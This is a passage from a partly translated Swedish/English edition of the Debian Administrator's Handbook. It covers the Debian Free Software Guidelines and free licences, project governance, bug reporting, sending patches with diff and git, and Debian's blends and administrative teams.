The commitment to maintain a structure to accommodate non-free software (i.e. the “non-free” section, see the sidebar VOCABULARY The main, contrib and non-free archives) is frequently a subject of debate within the Debian community.

Kritiker hävdar att det vänder folk från fria programvarualternativ, och direkt motsäger principen att endast tjäna fri programvara. De som är för det påpekar att de flesta av paketen i ”non-free” är nästan fria, och hindras vara det av några irriterande begränsningar (det vanligaste är förbudet av kommersiell användning av programvaran). Genom att distribuera dessa verk i grenen ”non-free” förklarar vi indirekt till upphovsmannen att deras verk skulle användas mer, och vara kändare om de kunde inkluderas i avdelningen ”main”. De inbjudes vänligt att ändra på sin licens för att uppfylla de kraven.

After a first and unfruitful attempt in 2004, the complete removal of the non-free section is unlikely to return to the agenda, especially since it contains many useful documents that were moved simply because they did not meet the new requirements for the main section. This is especially the case for certain software documentation files issued by the GNU project (in particular, Emacs and Make). Many modern systems further also require so called “firmware“, small binary files, which are necessary to run specific hardware. Many of these files can also only be found in the non-free section.

Den fortsatta existensen av avdelningen ”non-free” är ibland en källa till splittring inom Free Software Foundation och är huvudorsaken till att de officiellt vägrar att rekommendera Debian som ett operativsystem.

1.2.2. Debians riktlinjer för fri programvara

This reference document defines which software is “free enough” to be included in Debian. If a program's license is in accordance with these principles, it can be included in the main section; on the contrary, and provided that free distribution is permitted, it may be found in the non-free section. The non-free section is not officially part of Debian; it is an added service provided to users. A more detailed explanation of the different parts of the Debian archive can be found in the sidebar VOCABULARY The main, contrib and non-free archives.

Denna text blivit en auktoritet för ämnet fri programvara, och har tjänat som en grund för ”definitionen av öppen källkod”. Historiskt är det därför en av de första formella definitionerna av konceptet ”fri programvara”.

The GNU General Public License, the BSD License, and the Artistic License are examples of traditional free licenses that follow the 9 points mentioned in this text. Below you will find the text as it is published on the Debian website.

→ https://www.debian.org/social_contract.html#guidelines

Fri vidaredistribution.  Licensen för en Debian-komponent får inte hindra inte någon part från att sälja eller att ge bort den som en delkomponent av en programvarudistribution innehållande program från flera olika källor. Licensen får inte kräva ersättning av något slag för en sådan försäljning.

Källkod.  Programmet måste inkludera källkod och måste tillåta distribution i både källkodsform samt kompilerad form.

Härledda verk.  Licensen måste tillåta ändring och härledda verk, och måste låta dem distribueras under samma villkor som originallicensen.

Integritet för upphovsmannens källkod.  Licensen kan begränsa källkod från att distribueras i modifierad form endast endast om licensen tillåter distributionen av ”programfixar” med källkoden, i syftet att ändra programmet under byggtid. Licensen måste explicit tillåta distribution av programvaran byggd från modifierad källkod. Licensen kan kräva att härledda verk använder ett annat namn eller versionsnummer än originalprogramvaran (Detta är en kompromiss. Debian-gruppen uppmuntrar alla upphovsmän att inte begränsa filer från att modifieras, varken källkod eller binära).

Ingen diskriminering av personer eller grupper.  Licensen får inte diskriminera personer eller grupper.

Ingen diskriminering av användningsområden.  Licensen kan inte förhindra någon från att använda programmet för ett specifikt användningsområde. Den kan exempelvis inte begränsa programmet från kommersiell användning eller genetisk forskning.

Licensdistribution.  Rättigheterna medföljande programmet måste gälla för alla till vilka programmet distribueras, utan behovet av en ytterligare licens för dessa parter.

Licensen får inte vara Debian-specifik.  Rättigheterna för programmet får inte bero på att programmet är en del i Debian-systemet. Om programmet extraheras från Debian och används eller distribueras utan Debian, men annars under samma villkor som programlicensen, ska alla parter till vilka programmet distribueras ha samma rättigheter som de som ges i samband med Debian-systemet.

Licensen får inte smitta ner annan programvara.  License får inte ange begränsningar på annan programvara som distribueras med den licenserade programvaran. Till exempel får licensen inte insistera att alla andra program distribuerade på samma medium måste vara fri programvara.

GRUNDERNA Copyleft

Copyleft är en princip som användar upphovsrätter för att garantera friheten för ett verk och dess härledda verk istället för att begränsa användarnas rättigheter, som är fallet med properitär programvara. Det är också en ordlek med ”copyright”. Richard Stallman fick ideen när en skämtsam vän till honom skrev ett brev med adressen: ”copyleft: all rights reserved”. Copyleft bevarar alla ursprungliga friheter vid distribution av ett original eller en modifierad version av ett verk (vanligtvis ett program). Det är därför inte möjligt att distribuera ett program som proprietär programvara om det är ett härlett verk från kod av ett program släppt under copyleft.

Den kändaste familjen av copyleft-licenser är GNU Generell Publik Licens (GPL) och dess härledda verk, GNU Mindre Generell Publik Licens (LGPL), och GNU Fria Documentations Licens (GFDL). Tyvärr är ofta copyleft-licenser inkompatibla med varandra och det är därför bäst att bara använda en av dem.

Exempel på licenser.  GPL, BSD och Artistisk lincens är exempel på licenser som vi kallar "fria".

GRUNDERNA Fria licenser

GNU GPL, BSD-licensen och Artistisk Licens uppfyller alla Debians riktlinjer för fri programvara, även om de är annorlunda sinsemellan.

GNU GPL som stöds och används av FSF (Stiftelsen för Fri Mjukvara) är den absolut vanligaste. Dess huvudegenskap är att den också tillämpas på varje derivatverk som vidaredistribueras: ett program som införlivar eller använder GPL-kod kan endast distribueras efter dess termer. Det förhindar därför återanvändning i en proprietär applikation. Detta skapar allvarliga problem för återanvändning av GPL i fri programvara inkompatibel med denna licens. Därför kan det ibland vara omöjligt att länka till ett program publicerat under en annan fri programvarulicens med ett bibliotek licenserat under GPL. Å andra sidan är denna licens väldigt förankrad i amerikansk lag: advokater från FSF har medverkat i dess utformning och överträdelser har ofta tvingats till förlikning utan att gå vidare i domstol.

→ https://www.gnu.org/copyleft/gpl.html

BSD-licensen är den minst restriktiva: Allt är tillåtet, inklusive användning av modifierad BSD-kod i ett proprietärt program.

→ https://www.opensource.org/licenses/bsd-license.php

Slutligen är Artistisk Licens en kompromiss mellan de tidigare nämnda: integration av kod i en proprietär applikation tillåts, men ändringar måste publiceras.

→ https://www.opensource.org/licenses/artistic-license-2.0.php

Den kompletta texten för dessa licenser finns tillgänglig i /usr/share/common-licenses/ i alla Debiansystem (när det gäller BSD är det den nyare 3:e klausul licensen).

GEMENSKAP Bruce Perens, en kontroversiell ledare

Bruce Perens var den ledare som tog över efter Ian Murdock i Debian-projektet. Han var väldigt kontroversiell med sin dynamiska och auktoritära stil. Trotts detta kvarstår han som en viktig bidragsgivare till Debian, för vilket Debian har att tacka för redigeringen av den välkända ”Debian Fria Mjukvaruguidelines” (DFSG), sprunget ur en ide från Ean Schuessler. Från den härledde Bruce den nu välkända ”Definition på Öppen Källkod”, och tog bort alla referenser till Debian från den.

→ https://opensource.org/

Bruce har fortsatt att vara starkt fäst vid Debian och han fortsätter att stödja denna distribution politiskt och ekonomiskt, även om han lämnade projektet ganska känslosamt. Han visar sig fortfarande sporadiskt på e-postlistor för att ge råd och presentera sina senaste Debian-initiativ.

Last anecdotal point, it was Bruce who was responsible for inspiring the different “codenames” for Debian versions (1.1 — Rex, 1.2 — Buzz, 1.3 — Bo, 2.0 — Hamm, 2.1 — Slink, 2.2 — Potato, 3.0 — Woody, 3.1 — Sarge, 4.0 — Etch, 5.0 — Lenny, 6.0 — Squeeze, 7 — Wheezy, 8 — Jessie, 9 — Stretch, 10 — Buster, 11 — Bullseye, 12 (not released yet) — Bookworm, Unstable — Sid). They are taken from the names of characters in the Toy Story movie. This animated film entirely composed of computer graphics was produced by Pixar Studios, with whom Bruce was employed at the time that he led the Debian project. The name “Sid” holds particular status, since it will eternally be associated with the Unstable branch. In the film, this character was the neighbor's child who always broke toys — so beware of getting too close to Unstable. Otherwise, Sid is also an acronym for “Still In Development”.

1.3. Hur Debianprojektet fungerar internt

Debianprojektets lyckade slutresultat skapas av arbete med infrastrukturen utförd av erfarna Debianutvecklare, från individuella, det gemensamma arbetet med Debianpaket och från användaråterkoppling.

1.3.1. Debian-utvecklarna

Debian developers have various responsibilities, and as official project members, they have great influence on the direction the project takes. A Debian developer is generally responsible for at least one package, but according to their available time and desire, they are free to become involved in numerous teams and projects, thus acquiring more responsibilities within the project.

→ https://www.debian.org/devel/people

→ https://www.debian.org/intro/organization

→ https://wiki.debian.org/Teams

VERKTYG Utvecklarens databas

Debian har en databas över alla registrerade utvecklare inom projektet med relevant information om dem (adress, telefon, geografiska koordinater som longitud och latitud, med mera.). Delar av informationen (för- och efternamn, land, användarnamn inom projektet, IRC-användarnamn, GnuPG-nyckel med mera) är öppen och tillgänlig på internet.

→ https://db.debian.org/

De geografiska koordinaterna möjliggör skapandet av en karta över alla utvecklare jorden runt. Debian är verkligen ett internationellt projekt; dess utvecklare finns på alla kontinenter, även om majoriteten finns i västvärlden.

Figur 1.1. Debianutvecklarna är spridda över hela världen

Pakethantering är en relativt disciplinerad aktivitet, väldigt dokumenterad och till och med styrd. Den måste därigenom uppfylla alla standarder etablerade genom Debianriktlinjerna. Som tur är finns det många verktyg som underlättar ansvariges arbete. Utvecklaren kan därför fokusera på det som är specifikt med sitt paket och på mer komplexa uppgifter, som att reparera fel.

→ https://www.debian.org/doc/debian-policy/

GRUNDERNA Pakethantering, utvecklarens arbete

Maintaining a package entails, first, “packaging” a software. Specifically, this means to define the means of installation so that, once installed, this software will operate and comply with the rules that the Debian project sets for itself. The result of this operation is saved in a .deb file. Effective installation of the program will then require nothing more than extraction of this compressed archive and execution of some pre-installation or post-installation scripts contained therein.

After this initial phase, the maintenance cycle truly begins: preparing updates to follow the latest version of the Debian Policy, fixing bugs reported by users, and including new “upstream” versions of the program which naturally continues to develop simultaneously. For instance, at the time of the initial packaging, a program was at version 1.2.3. After some months of development, the original authors release a new stable version, numbered 1.4.0. At this point, the Debian package maintainer should update the package, so that users can benefit from its latest stable version.

Riktlinjerna, en viktig del av Debianprojektet, etablerar de normer som försäkrar distributionens paketkvalitet och interoperabilitet. Tack vare dessa riktlinjer fortsätter Debian, trots dess omfattning, att vara samstämmigt. Riktlinjerna är inte skrivna i sten utan fortsätter att utvecklas kontinuerligt tack vare förslag som skickats in via sändlistan <debian-policy@lists.debian.org>. Tillägg som ges bifall av alla intresserade parter accepteras och tillämpas texten av en liten grupp ansvariga för underhåll som inte har någon befogenhet att editera (de inkluderar endbart ändringar som bifallits av Debian-utvecklarna som också är medlemmar i den nämnda sändlistan). Du kan läsa om aktuella ändringsförslag i felrapporteringssystemet:

→ https://bugs.debian.org/debian-policy

GEMENSKAP Den redaktionella processen för riktlinjerna

Anyone can propose an amendment to the Debian Policy by submitting a bug report with a severity level of “wishlist” against the debian-policy package. The process that then starts is documented in https://www.debian.org/doc/debian-policy/ap-process.html: if it is acknowledged that the problem must be resolved by creating a new rule in the Debian Policy, a discussion begins on the <debian-policy@lists.debian.org> mailing list until consensus is reached and a proposal issued. Someone then drafts a desired amendment and submits it for approval (in the form of a patch to review). As soon as two other developers approve the fact that the proposed amendment reflects the consensus reached in the previous discussion (they “second” it), the proposal can be included in the official document by one of the debian-policy package maintainers. If the process fails at one of these stages, the maintainers close the bug, classifying the proposal as rejected.

DEBIANS RIKTLINJER Dokumentationen

Documentation for each package is stored in /usr/share/doc/package/. This directory often contains a README.Debian file describing the Debian specific adjustments made by the package maintainer. It is, thus, wise to read this file prior to any configuration, in order to benefit from their experience. We also find a changelog.Debian.gz file describing the changes made from one version to the next by the Debian maintainer. This is not to be confused with the changelog.gz file (or equivalent), which describes the changes made by the upstream developers. The copyright file includes information about the authors and the license covering the software. Finally, we may also find a file named NEWS.Debian.gz, which allows the Debian developer to communicate important information regarding updates; if apt-listchanges is installed, then these messages are automatically displayed. All other files are specific to the software in question. We especially would like to point out the examples sub-directory, which frequently contains examples of configuration files.

The Policy provides considerable coverage of the technical aspects of packaging. The size of the project also raises organizational problems; these are dealt with by the Debian Constitution, which establishes a structure and means for decision making. In other words, a formal governance system.

This constitution defines a certain number of roles and positions, plus responsibilities and authorities for each. It is particularly worth noting that Debian developers always have ultimate decision making authority by a vote of general resolution, wherein a qualified majority of three quarters (75%) of votes is required for significant alterations to be made (such as those with an impact on the Foundation Documents). However, developers annually elect a “leader” to represent them in meetings, and ensure internal coordination between varying teams. This election is always a period of intense discussions. The Debian Project leader's (DPL) role is not formally defined by any document: candidates for this post usually propose their own definition of the position. In practice, the leader's roles include serving as a representative to the media, coordinating between “internal” teams, and providing overall guidance to the project, within which the developers can relate: the views of the DPL are implicitly approved by the majority of project members.

Ledaren har ett starkt mandat; deras röst avgör jämna röster; de kan ta vilket beslut som helst som inte redan är under någon annans ansvar och de kan delegera vidare delar av sitt ansvar.

Since its inception, the project has been successively led by Ian Murdock, Bruce Perens, Ian Jackson, Wichert Akkerman, Ben Collins, Bdale Garbee, Martin Michlmayr, Branden Robinson, Anthony Towns, Sam Hocevar, Steve McIntyre, Stefano Zacchiroli, Lucas Nussbaum, Neill McGovern, Mehdi Dogguy, Chris Lamb, Sam Hartman, and Jonathan Carter.

Författningen definierar också en ”teknisk kommitté”. Kommitténs essentiella roll är att bestämma om tekniska spörsmål när de involverade utvecklarna inte har kommer fram till en kompromiss. Kommittén har också en rådgörande roll till utvecklare som misslyckas med att ta ett beslut för vilka de är ansvariga. Observera att de endast blir involverade när de bjuds in av en av parterna i fråga.

Slutligen definierar författningen rollen ”projektsekreterare” som ansvarar för organisationen av röster relaterat till de olika valen och allmänna resultaten.

The “general resolution” (GR) procedure is fully detailed in the constitution, from the initial discussion period to the final counting of votes. The most interesting aspect of that process is that when it comes to an actual vote, developers have to rank the different ballot options between them and the winner is selected with a Condorcet method (more specifically, the Schulze method). For further details see:

→ https://www.debian.org/devel/constitution

KULTUR Nätbråk, hetlevrade diskussioner

Ett ”nätbråk” är en hetlevrad diskussion som vanligtvis slutar med att folk attackerar varandra efter att argumentation tagit slut. Vissa teman är mer utsatta för polemik än andra (en klassier är valet av textredigerare, ”föredrar du vi eller emacs?”). Ämnena provocerar också ofta fram snabba e-postutbyten på grund av det stora antalet inblandade människor med en personlig åsikt om saken (alla).

Denna typ av diskussioner leder oftast ingenstans; den allmänna rekommendationen är att hålla sig ifrån sådana debatter, och kanske inte lägga onödig tid på dem, mer än att översiktligt skumma igenom deras innehåll.

Even if this constitution establishes a semblance of democracy, the daily reality is quite different: Debian naturally follows the free software rules of the do-ocracy: the one who does things gets to decide how to do them. A lot of time can be wasted debating the respective merits of various ways to approach a problem; the chosen solution will be the first one that is both functional and satisfying… which will come out of the time that a competent person put into it.

Det enklaste sättet att få erkännande är att göra något nyttigt och visa att man har utfört arbeta. Många ”administrativa” Debian-team sköts genom samarbeten, och de föredrar volontärer som redan har bidragit effektivt och visat sin kompetens. Den naturliga öppenheten i dessa teams arbete gör det möjligt för nya volontärer att observera och börja hjälpa till utan speciella privilegium. Det är därför Debian ofta beskrivs som en ”meritokrati”.

KULTUR Meritokrati, kunskapsstyre

Meritocracy is a form of government in which authority is exercised by those with the greatest merit. For Debian, merit is a measure of competence, which is, itself, assessed by observation of past actions by one or more others within the project (Stefano Zacchiroli, a former project leader, speaks of “do-ocracy”, meaning “power to those who get things done”). Their simple existence proves a certain level of competence; their achievements generally being free software, with available source code, which can be easily reviewed by peers to assess their quality.

Denna praktiska metod garanterar kvaliteten av bidragsgivare i Debians nyckelteam. Metoden är inte på något sätt perfekt och det finns det de som inte accepterar detta arbetssätt. Valet av utvecklare som accepteras i team kan verka lite godtyckligt, eller till och med orättvist. Vidare, alla har inte samma definitioner av vad som kan förväntas från dessa team. För vissa är det oacceptabelt att behöva vänta 8 dagar för att få in ett nytt Debian-paket, medan andra kan vänta tålamodigt i 3 veckor utan ett problem. Det finns därför återkommande klagomål från missnöjda om ”tjänstekvaliteten” hos vissa team.

GEMENSKAP Integration av nya ansvarige

Teamet med ansvar för att släppa in nya utvecklare är vanligtvis det mest kritiserade. Med åren har Debianprojektet blivit hårdare i kraven på accepterade utvecklare. En del kan tycka att det är orättvist, men när det kommer till att försäkra sig om kvaliteten och integriteten av allting som Debian producerar för sina användare har sådant som var små problem i början växt i en gemenskap av över 1000 användare .

Acceptansproceduren avslutas med ett mindre team, Debians kontoadministratörer, granskar av kandidaturen. Dessa administratörer har det sista ordet vid inkludering eller avvisande av en frivillig inom Debians utvecklargemenskap är därför speciellt utsatta för kritik. I praktiken måste de ibland fördröja acceptansen av en person till de har lärt sig mer om hur projektet sköts. Man kan såklart bidra till Debian innan acceptans som en officiell utvecklare genom stöd av nuvarande utvecklare.

1.3.2. Användarnas aktiva roll

Är det relevant att nämna användarna bland de som jobbar inom Debianprojektet? - svaret är ett rungande ja: de spelar en kritisk roll i projektet. De är långt ifrån ”passiva”, en del användare testar utvecklingsversioner av Debian, och skapa felrapporter för att uppmärksamma problem. Andra går längre och skickar in ideer för förbättringar genom att skriva in felrapporter med nivån ”whishlist”, eller till och med genom att skicka in ”programfixar”, det vill säga rättningar till källkoden, (se Avsnitt 1.3.2.3, ”Skicka rättningar”).

1.3.2.1. Rapportera fel

Det grundläggande verktyget för att rapportera fel i Debian är Debians felrapporteringssystem (Debian BTS, Bug Tracking System) vilket används av många delar i projektet. Den öppna delen (webbgränssnittet) låter användarna se alla felrapporter, med valet att visa en sorterad lista av fel baserat på olika kriterier så som: påverkade paket, allvarsgrad, status, rapportörens adress, ansvariges adress, taggar och så vidare. Det är också möjligt att för varje fel ta del av hela diskussionshistoriken kring den.

Under ytan är Debian BTS e-postbaserat: all information den lagrar kommer från meddelanden skickade av involverade personer. Varje e-postmeddelande skickat till <12345@bugs.debian.org> kommer att läggas till historiken för fel nummer 12345. Behöriga personer kan ”stänga” ett fel genom att skriva ett meddelande som beskriver orsakerna för beslutet att stänga <12345-done@bugs.debian.org> (ett fel är stängt när det beskrivna problemet inte längre är relevant). Ett nytt fel rapporteras genom att skicka ett meddelande till <submit@bugs.debian.org> i ett specfikt format som identifierar paketet. Adressen <control@bugs.debian.org> möjliggör redigering av meta-informationen relaterad till ett fel.

Debian BTS har också andra funktionella egenskaper, som användning av taggar för ett märka felen. För mer information, se

→ https://www.debian.org/Bugs/

ORDFORRÅD Felens allvarsgrad

Allvarsgraden för ett fel lägger rent formellt en tyngdnivå på det rapporterade problemet. Alla fel har inte samma allvarsgrad; som exempel går det inte att jämföra ett stavfel i en handbok med ett säkerhetshål i ett serverprogram.

För att beskriva allvarsgraden använder Debian sig av en utökad skala. Varje nivå är precist definierad för att underlätta valet.

→ https://www.debian.org/Bugs/Developer#severities

Users can also use the command line to send bug reports on a Debian package with the reportbug tool. It helps making sure the bug in question hasn't already been filed, thus preventing redundancy in the system. It reminds the user of the definitions of the severity levels, for the report to be as accurate as possible (the developer can always fine-tune these parameters later, if needed). It helps writing a complete bug report, without the user needing to know the precise syntax, by writing it and allowing the user to edit it. This report will then be sent via an e-mail server (by default, a remote one run by Debian, but reportbug can also use a local server).

Verktyget siktar in sig på utvecklingsversioner, vilket är var felen kommer att repareras. Ändringar är med få undantag inte välkomna i en stabil version av Debian, undantagsvis säkerhetsuppdateringar eller andra viktiga uppdateringar (exempelvis om ett paket inte alls fungerar). En felrättning av ett mindre fel i ett Debianpaket måste därför vänta in nästa stabila version.

1.3.2.2. Översättning och dokumentation

Utöver det finns det flertalet nöjda användare av tjänster tillhandahållen av Debian som skulle vilja bidra med någonting tillbaka till projektet. Eftersom inte alla har tillräcklig kunskap i programmering kan de välja att hjälpa till med översättningar och granskning av dokumentation. Det finns språkspecifika e-postlistor för att koordinera detta arbete.

→ https://lists.debian.org/i18n.html

→ https://www.debian.org/international/

GRUNDERNA Vad är i18n och l10n?

”i18n” och ”l10n” är förkortningar av orden ”internationalisering” och ”lokalisering”, med första och sista bokstaven från varje ord samt antalet bokstäver i mitten.

Att ”internationalisera” ett program är att förbereda det för att kunna översättas (lokaliseras). Det innebär delvis att skriva om ett program avsett att fungera i endast ett språk till kunna användas med alla språk.

Att ”lokalisera” ett program innebär att översätta programmets meddelanden (som vanligtvis är på engelska) till ett annat språk. Detta kräver att programmet redan har internationaliserats.

Sammanfattningsvis så förbereder internationalisering programvaran för översättning, vilken sedan sker genom lokalisering.

1.3.2.3. Skicka rättningar

Mer avancerade användare skulle kunna tillhandahålla en lösning på ett fel i ett program genom att skicka en programfix.

En programfix är en fil som beskriver ändringar för en eller flera referensfiler. Mer specifikt innehåller den rader att lägga till och ta bort ur koden, så väl (ibland) som kringliggande rader tagna från referenstexten, (de gör det möjligt att hitta var ändringarna skett om radantalet har ändrats).

Verktyget som används för att tillämpa ändringarna beskrivna i en sådan fil kallas patch. Verktyget som skapar dem kallas diff. Exempel på användning:

$ diff -u fil.gammal fil.nya >fil.patch

Filen fil.patch innehåller instruktionerna för att ändra innehållet för fil.gammal till fil.ny. Vi kan skicka den till någon som sedan kan använda den för att återskapa fil.ny från de två andra. Exempel:

$ patch -p0 fil.gammal <fil.patch

Filen fil.gammal är nu identisk med fil.ny.

In practice, most software is currently maintained in Git repositories and contributors are thus more likely to use git to retrieve the source code and propose changes. git diff will generate a file in the same format as what diff -u would do and git apply can do the same as patch.

KULTUR Git

Git är ett verktyg för att samarbeta över flera filer och med bibehållen ändringshistoriken. Vanligtvis är filerna textfiler, som ett programs källkod,. Om flera personer arbetar tillsammans på samma fil kan git endast sammanfoga ändringarna om de skedde i olika delar av filen. Annnars måste dessa ”konflikter” lösas manuellt.

Git is a distributed system where each user has a repository with the complete history of changes. Central repositories are used to download the project (git clone) and to share the work done with others (git push). The repository can contain multiple versions of the files but only one version can be worked on at a given time: it is called the working copy (it can be changed to point to another version with git checkout). Git can show you the modifications made to the working copy (git diff), can stage changes for inclusion (git add), and can create a new entry in the version's history (git commit). It can also update the working copy to include modifications made in parallel by other users (git pull), and can record a particular configuration in the history in order to be able to easily extract it later on (git tag).

Git förenklar att hantera flera samtidiga versioner av ett projekt i utveckling utan att de stör med varandra. Dessa versioner kallas grenar. Denna trädmetafor av ett träd är ganska korrekt eftersom ett program ursprungligen utvecklas på en gemensam stam. När en milstolpe har nåtts (som en version 1.0) fortsätter utveckling på två grenar: utvecklingsgrenen förbereder nästa större släpp, och förvaltningsgrenen hanterar uppdateringar och programfixar för version 1.0.

Git is, nowadays, the most popular version control system but it is not the only one. Historically, CVS (Concurrent Versions System) was the first widely used tool but its numerous limitations contributed to the appearance of more modern free alternatives. These include, especially, Subversion (svn), Git (git), Bazaar (bzr), Fossil (fossil), and Mercurial (hg).

→ https://www.nongnu.org/cvs/

→ https://subversion.apache.org/

→ https://git-scm.com/

→ https://bazaar.canonical.com/

→ http://mercurial.selenic.com/

It is beyond the scope of this book to provide a detailed explanation about Git. For that, you can refer to the Pro Git book.

→ https://git-scm.com/book/

Även om resultatet av git diff är en fil som kan delas med andra utvecklare, finns det ofta bättre sätt att skicka in ändringar. Om utvecklaren föredrar att få rättningar via mail, föredrar de oftast rättningar skapade av git format-patch så att de utan vidare kan integrera rättningen i förådet med kommandot git am. Detta sätt bevarar metainformationen kring bidraget och möjliggör att kunna dela flera bidrag på en och samma gång.

Detta epostbaserade arbetsflöde är fortfarande populärt men tenderas att bytas ut till användandet av sammanslagningsbegäran (eller hämtningsbegäran) närhellst mjukvaran är lagrad på en plattform liknande GitHub eller GitLab — Debian använder GitLab på sin salsa.debian.org server. På dessa system, så fort du skapat ett konto, förgrenar du förådet vilket effektivt skapar en kopia av förådet på ditt konto, du kan sen klona förådet och föra in dina ändringar till det. Därifrån kommer hemsidans gränssnitt föreslå att skicka en sammanslagningsbegäran och upplysa utvecklaren om dina ändringar vilket underlättar för dem att granska och acceptera dem med ett enda klick.

1.3.2.4. Andra sätt att bidra

Alla dessa bidragsmekanismer blir effektivare genom användarens beteende. Istället för att vara en samling av isolerade personer är användarna en del i en verklig gemenskap inom vilken en stort antal utbyten uppstår inom. Vi vill speciellt uppmärksamma på aktiviteten i sändlistan för användardiskussioner, <debian-user@lists.debian.org> (Kapitel 7, Lösa problem och hitta relevant information tar upp detta i detalj).

→ https://lists.debian.org/users.html

Användare hjälper inte bara varandra (och andra) med tekniska problem som direkt påverkar dem, men de diskuterar också de bästa sätten att bidra till Debianprojektet och dess framtid - diskussioner som ofta slutar i förslag på förbättringar.

VERKTYG how-can-i-help (hur kan jag hjälpa)

The how-can-i-help program lists opportunities for contributing to Debian packages that are installed locally. After each APT invocation (see Kapitel 6, Underhåll och uppdateringar: APT-verktygen), it shows ways to help, by highlighting bugs tagged “newcomer” (which are easy entry-points for new contributors) or orphaned packages that need a new maintainer. The program can be executed directly as well.

Eftersom Debian inte bekostar marknadsföring spelar dess användare en viktig roll i spridningen av Debian.

Denna Metod fungerar rätt så bra eftersom Debianfans kan hittas på alla nivåer inom gemenskapen för fri mjukvara: från installationsfester (arbetsträff där erfarna hjälper nytillkommna att installera systemet) organiserade av lokala LUG-ar eller ”Linux Användargrupper”, till bås på stora teknikkonferenser som har att göra med Linux, och så vidare.

Volontärer skapar affischer, broschyrer, klistermärken och annat användbart marknadsföringsmaterial för projektet, vilket de gör allmänt tillgängligt, och vilket Debian tillhandahåller fritt på sin webbplats och wiki:

→ https://www.debian.org/events/material

1.3.3. Teams, Blends, and Sub-Projects

From the start, Debian has been organized around the concept of source packages, each with its maintainer or group of maintainers. Many work teams have emerged over time, ensuring administration of the infrastructure, management of tasks not specific to any package in particular (quality assurance, Debian Policy, installer, etc.), with the latest series of teams growing up around sub-projects and blends.

1.3.3.1. Existing Debian Sub-Projects and Blends

To each their own Debian! A sub-project is a group of volunteers interested in adapting Debian to specific needs. Beyond the selection of a sub-group of programs intended for a particular domain (education, medicine, multimedia creation, etc.), sub-projects are also involved in improving existing packages, packaging missing software, adapting the installer, creating specific documentation, and more. While a "blend" might not be exactly the same, it works quite similar and also tries to provide a solution for groups of people intending to use Debian for a particular domain. One could say that "Debian Pure Blends" is the successor of sub-projects.

→ https://www.debian.org/blends/

VOCABULARY Sub-projects, blends, and derivative distribution

Utvecklingsprocessen för en härledd distribution består i att utgå från en specifik version av Debian och sedan utföra ändringar i den. Infrastrukturen för detta arbete ligger utanför Debianprojektet.Det finns nödvändigtvis inte en policy för att bidra med förbättringar. Denna skillnad förklara hur en härledd distribution kan skilja sig från dess ursprung, och varför dessa regelbundet måste synkronisera med källan för att ta del av förbättringar från uppströms.

On the other hand, a sub-project or blend can not diverge, since all the work on it consists of directly improving Debian in order to adapt it to a specific goal.

Den kändaste distributionen härledd från Debian är utan tvekan Ubuntu, men det finns många andra. Se Appendix A, Distributionsderivat för ta reda på mer om deras egenskaper och syften i jämförelse med Debian.

Here is a small selection of current released Debian Pure Blends:

Debian Junior, by Ben Armstrong, offering an appealing and easy to use Debian system for children;

Debian Edu, by Petter Reinholdtsen, focused on the creation of a specialized distribution for the academic and educational world;

Debian Med, av Andreas Tille, dedikeras till det medicinska fältet;

Debian Multimedia, which deals with audio and multimedia work;

Debian GIS, which takes care of Geographical Information Systems applications and users;

Debian Astro, for both professionals and hobby astronomers;

Debian Science, working on providing researchers and scientists a better experience using Debian;

Freedombox, made to develop, design and promote personal servers running free software for private, personal communications;

Debian Games, providing games in Debian from arcade and adventure to simulation and strategy;

DebiChem, som riktar sig till kemister, tillhandahåller paketlösningar och program inom kemiområdet.

The number of projects will most likely continue to grow with time and improved perception of the advantages of Debian Pure Blends. Fully supported by the existing Debian infrastructure, they can, in effect, focus on work with real added value, without worrying about remaining synchronized with Debian, since they are developed within the project.

1.3.3.2. Administrativa grupper

De flesta administrativa grupper är ganska slutna och rekryterar genom samarbeten. Det bästa sättet att bli en del av en grupp är att på ett smart sätt hjälpa och stödja de aktuella medlemmarna, och på så sätt visa att du förstår deras mål och arbetssätt.

FTP-ansvariga har hand om de officiella arkiven för Debian-paket. De underhåller programmet som tar emot paket insända av utvecklare, och lagrar dem automatiskt, efter en del kontroller, på referensservern(ftp-master.debian.org).

För att försäkra sig om att Debian kan distribuera paket, verifiera de licenserna för alla nya paket, innan de inkluderas i andra paket. När en utvecklare önskar att ta bort ett paket, adresserar de denna grupp genom felrapporteringssystemet och pseudo-paketet ftp.debian.org.

ORDFORRÅDPseudo-paketet, ett monitoreringsverktyg

Felrapporteringssystemet, ursprungligen framtaget för att koppla ihop felrapporter med ett Debian-paket, har visat sig vara väldigt praktiskt för att hantera andra saker: listor av problem som väntar på lösning eller uppgifter utan koppling till ett specifikt Debian-paket. ”pseudo-packages” tillåter att vissa grupper kan använda felrapporteringssystemet utan att ha ett riktigt paket kopplat till deras team. Alla kan rapportera problem som behöver tas om hand om. Exempelvis har BTS en post ftp.debian.org som används till att rapportera och spåra problem med det officiella paketarkivet eller för att begära att ta bort ett paket. På samma sätt hänvisar www.debian.org pseudo-package till fel på Debian-webbplatsen, och lists.debian.org samlar alla problem som gäller e-postlistor.

VERKTYG GitLab, tillhandahållande av Git föråd och mycket mer

En GitLab instans, känd som salsa.debian.org, används av Debian för att husera Git packeteringsföråd. Men denna mjukvara erbjuder så mycket mer än att bara vanlig förvaring och bidragare till Debian har varit snabba att använda de fortsatta integrerade funktioner (köra tester, eller till och med bygga paket, på varje insändning). Bidragare till Debian gynnas också från en renare och bidragande arbetsflöde tack vare de väl införstådda processen kring sammanslagningsbegäran (liknande som GitHub's hämntningsbegäran).

GitLab ersatte FusionForge (vilket kördes som en service vid namn alioth.debian.org) för gemensam underhållng av paket. Denna service administreras av Alexander Wirt, Bastian Blank och Jörg Jaspert.

→ https://salsa.debian.org/

→ https://wiki.debian.org/Salsa/Doc

Debian-systemadministratörs-gruppen (DSA) <debian-admin@lists.debian.org> är, som man kan anta, ansvarig för systemadministration på de många servrar som används av projektet. De garanterar att alla grundläggande tjänster fungerar optimalt (DNS, webb, e-post, skal med mera), installerar program begärda av Debian-utvecklare och sköter säkerhetsförebyggande arbete.

→ https://dsa.debian.org

VERKTYG Debian-paketspårare

En av Raphaël's skapelser. Grundidén är att, för ett givet paket, centralisera så mycket information som möjligt på en sida. Därav kan man enkelt se status för ett program, identifiera väntande uppgifter och ge assistans. Därför samlar sidan in all statistik om felrapporter, tillgängliga versioner i varje distribution, förloppet för ett paket i Testing-distributionen, status på översättningar över beskrivningar och debconf-mallar, tillgänglighet på ny versioner uppströms, aviseringar om sådant som avviker från den senaste versionen av Debians riktlinjer, information om ansvarige och annan information som ansvarige vill inkludera.

→ https://trac er.debian.org/

